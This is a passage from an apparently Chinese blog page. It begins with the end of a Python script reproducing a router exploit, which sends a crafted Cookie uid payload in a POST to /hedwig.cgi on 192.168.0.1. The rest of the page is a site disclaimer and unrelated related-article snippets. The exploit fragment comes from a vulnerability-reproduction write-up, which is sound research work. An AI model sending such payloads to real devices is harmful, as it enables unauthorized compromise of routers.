    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
    'Host': '192.168.0.1',
    'Cookie': 'uid='+payload,
    'Content-Type': 'application/x-www-form-urlencoded'
}

# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
# 获取响应
pause()
response = conn.getresponse()

# 打印响应状态码和响应内容
print(response.status, response.read().decode())

# 关闭连接
conn.close()

至此完成复现。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/489402.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

安捷伦Agilent 34401A数字万用表

181/2461/8938产品概述&#xff1a; Agilent34401A 万用表将准确性、速度、测量简便性和多功能性结合到坚固的 6 1/2 位数字万用表中&#xff0c;无论在工作台上还是在系统中都同样适用。您可以以 5 1/2 位数的价格获得 6 1/2 位数的性能。除了直流和交流电压、直流和交流电流…

golang+vue微服务电商系统

golangvue微服务电商系统 文章目录 golangvue微服务电商系统一、项目前置准备二、项目简介三、代码GItee地址 golang、vue redis、mysql、gin、nacos、es、kibana、jwt 一、项目前置准备 环境的搭建 官方go开发工程师参考地址&#xff1a;https://blog.csdn.net/qq23001186/cat…

【数据结构与算法】直接插入排序和希尔排序

引言 进入了初阶数据结构的一个新的主题——排序。所谓排序&#xff0c;就是一串记录&#xff0c;按照其中的某几个或某些关键字的大小&#xff08;一定的规则&#xff09;&#xff0c;递增或递减排列起来的操作。 排序的稳定性&#xff1a;在一定的规则下&#xff0c;两个值…

Web3 游戏周报(3.17-3.23)

【3.17-3.23】Web3 游戏行业动态&#xff1a; Saga 宣布成立 Web3 游戏发行部门 Saga Origins Web3 游戏平台 Portal 宣布将于周四开放质押功能 STP 推出基于 Base 的 AI 增强游戏 Layer3 Clique Merlin 生态游戏项目 BitRealms 完成 Pre-Seed 轮融资 Telos 在游戏侧链发布…

Open CASCADE学习|显示文本

目录 1、修改代码 Viewer.h&#xff1a; Viewer.cpp&#xff1a; 2、显示文本 OpenCasCade 你好啊 霜吹花落 1、修改代码 在文章《Open CASCADE学习|显示模型》基础上&#xff0c;增加部分代码&#xff0c;实现对文本显示的支持&#xff0c;具体如下&#xff1a; Viewer…

入门编程,一定要从C语言开始吗?

对于编程入门学习者&#xff0c;C语言肯定不是首选。建议先确定自己的发展方向&#xff0c; 如果打算做Web 开发&#xff0c;可以先从学习HTML,CSS,Javascript开始&#xff0c;后台使用Node.JS&#xff0c;也是用Javascript 来编程, 可降低入门门槛。 在开始前我有一些资料…

MySQL索引优化、SQL优化-持续更新

背景 成本最低的优化手段&#xff0c;面试常问的面试题。 下面主要是讲InnoDB存储引擎的索引&#xff0c;InnoDB也是实际项目用的最多的存储引擎。 优势 提高数据查询效率。 缺点 占用空间、降低了增、删、改速度&#xff0c;因为要维护索引 原理 底层是B树数据结构。 …

关于Web APP 促进临床预测模型进入临床实践的讨论

关于Web APP 促进临床预测模型进入临床实践的讨论 关键词&#xff1a; 临床预测模型、Web APP、实践、标准、讨论、分享 近年来&#xff0c;随着机器学习技术的快速发展&#xff0c;临床预测模型在辅助诊断、预后评估、治疗方案选择等方面展现出巨大潜力。然而&#xff0c;将…

工时表软件:项目管理的效率利器

在当今的项目管理实践中&#xff0c;时间是最宝贵的资产之一。精准地追踪和管理项目工时对于项目的成功至关重要。工时表软件作为一种现代管理工具&#xff0c;其应用不仅简化了项目管理流程&#xff0c;还提高了工作效率&#xff0c;已成为现代企业管理不可或缺的一项利器。 …

[Vue warn]: Invalid vnode type when creating vnode: false

如题&#xff0c;意思是创建vnode时&#xff0c;vnode类型无效:false。 根据右边的索引点进去&#xff0c;发现定位的是组件loading。搜索loading发现声明了变量loading&#xff0c;更改后问题消失。

MySQL数据库高阶语句①

目录 一.按关键字排序 1.单字段排序 &#xff08;1&#xff09;按分数排序 &#xff08;2&#xff09;结合where进行条件筛选 2.多字段排序 &#xff08;1&#xff09;查询学生信息先按兴趣id升序排序&#xff0c;再按id升序排序 &#xff08;2&#xff09;查询信息按兴…

视频素材网站哪个比较好?8个优质视频素材软件app推荐

在探索那些能够让视频作品焕发生机的宝藏网站时&#xff0c;一个好的短视频素材库不仅能提升作品的视觉效果&#xff0c;还能赋予作品更深的情感层次。为了帮助你更好地寻找到这些珍贵的资源&#xff0c;以下是一系列精选的视频素材网站&#xff0c;全面支持你的视频创作需求。…

低照度图像增强算法---传统算法篇

YOLOv8n原图检测YOLOv8n增强后检测召回率和置信度都有提升 前言 这篇博客讲讲低照度,大家都催我出一些内容,没想到这么多同学搞这个,恰好我也做过这方面的一些工作,那今天就来讲解一些方法,低照度的图像增强大体分“传统算法”和“深度学习算法”; 目前低照度的图像增…

linux文本三剑客 --- grep、sed、awk

1、grep grep&#xff1a;使用正则表达式搜索文本&#xff0c;将匹配的行打印出来&#xff08;匹配到的标红&#xff09; 命令格式&#xff1a;grep [option] pattern file <1> 命令参数 -A<显示行数>&#xff1a;除了显示符合范本样式的那一列之外&#xff0c;并…

bsd猜想 Murmuration of Eliptic Curves(笔记)

BSD Alexey Pozdnyakov (University of Connecticut) YUTUBE视频&#xff0c; B站搬运地址新生代女数学家Nina Zubrilina得到椭圆曲线椋鸟群飞模式精确公式与证明 Arithmetic Geometry算术几何 希尔伯特第十问题 希尔伯特第十问题&#xff08;Hilbert’s Tenth Problem&#…

Elasticsearch8 - Docker安装Elasticsearch8.12.2

前言 最近在学习 ES&#xff0c;所以需要在服务器上装一个单节点的 ES 服务器环境&#xff1a;centos 7.9 安装 下载镜像 目前最新版本是 8.12.2 docker pull docker.elastic.co/elasticsearch/elasticsearch:8.12.2创建配置 新增配置文件 elasticsearch.yml http.host…

WordPress网站已经安装了SSL证书,但浏览器仍然提示不安全

WordPress网站已经安装了SSL证书&#xff0c;但浏览器仍然提示不安全 昨天我们新建了一个WordPress的网站&#xff0c;在已经安装了SSL证书的情况下&#xff0c;访问网站仍然会提示不安全。 我们使用的是Hostease提供的虚拟主机产品&#xff0c;之前从未出过这样的情况&#x…

【优选算法】专题1 -- 双指针 -- 复写0

前言&#xff1a; 补充一下前文没有写到的双指针入门知识&#xff1a;专题1 -- 双指针 -- 移动零 目录 基础入门知识&#xff1a; 1. 复写零&#xff08;easy&#xff09; 1. 题⽬链接&#xff1a;1089.复习0 - 力扣&#xff08;LeetCode&#xff09; 2. 题⽬描述&#xff…

大词汇量高质量3D物体生成需要解决哪些问题?如何解决?

作者:Vallee | 来源:计算机视觉工坊 在公众号「计算机视觉工坊」后台,回复「原论文」可获取论文pdf和代码链接 DiffTF: 基于Transformer的大词汇量3D扩散模型 大词汇量3D物体生成 最近基于扩散模型的3D生成方法大火,但如何生成大量类别且高质量的3D模型还没得到很好地解决…

喜获千万元价值补贴,探索 AI 领域新应用:Zilliz 全力支持 AI 初创企业

价值 1000 万元的大额补贴&#xff01;得到领先全行业的向量数据库团队支持&#xff01;尽享独家生态资源&#xff01;「Zilliz AI 初创计划」正式开启&#xff01; 「Zilliz AI 初创计划」是 Zilliz 面向 AI 初创企业推出的一项扶持计划&#xff0c;预计提供总计 1000 万元的 …